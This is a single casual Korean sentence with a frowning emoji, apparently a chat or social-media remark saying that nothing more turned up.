특별히 더 나온건 없었네요 😩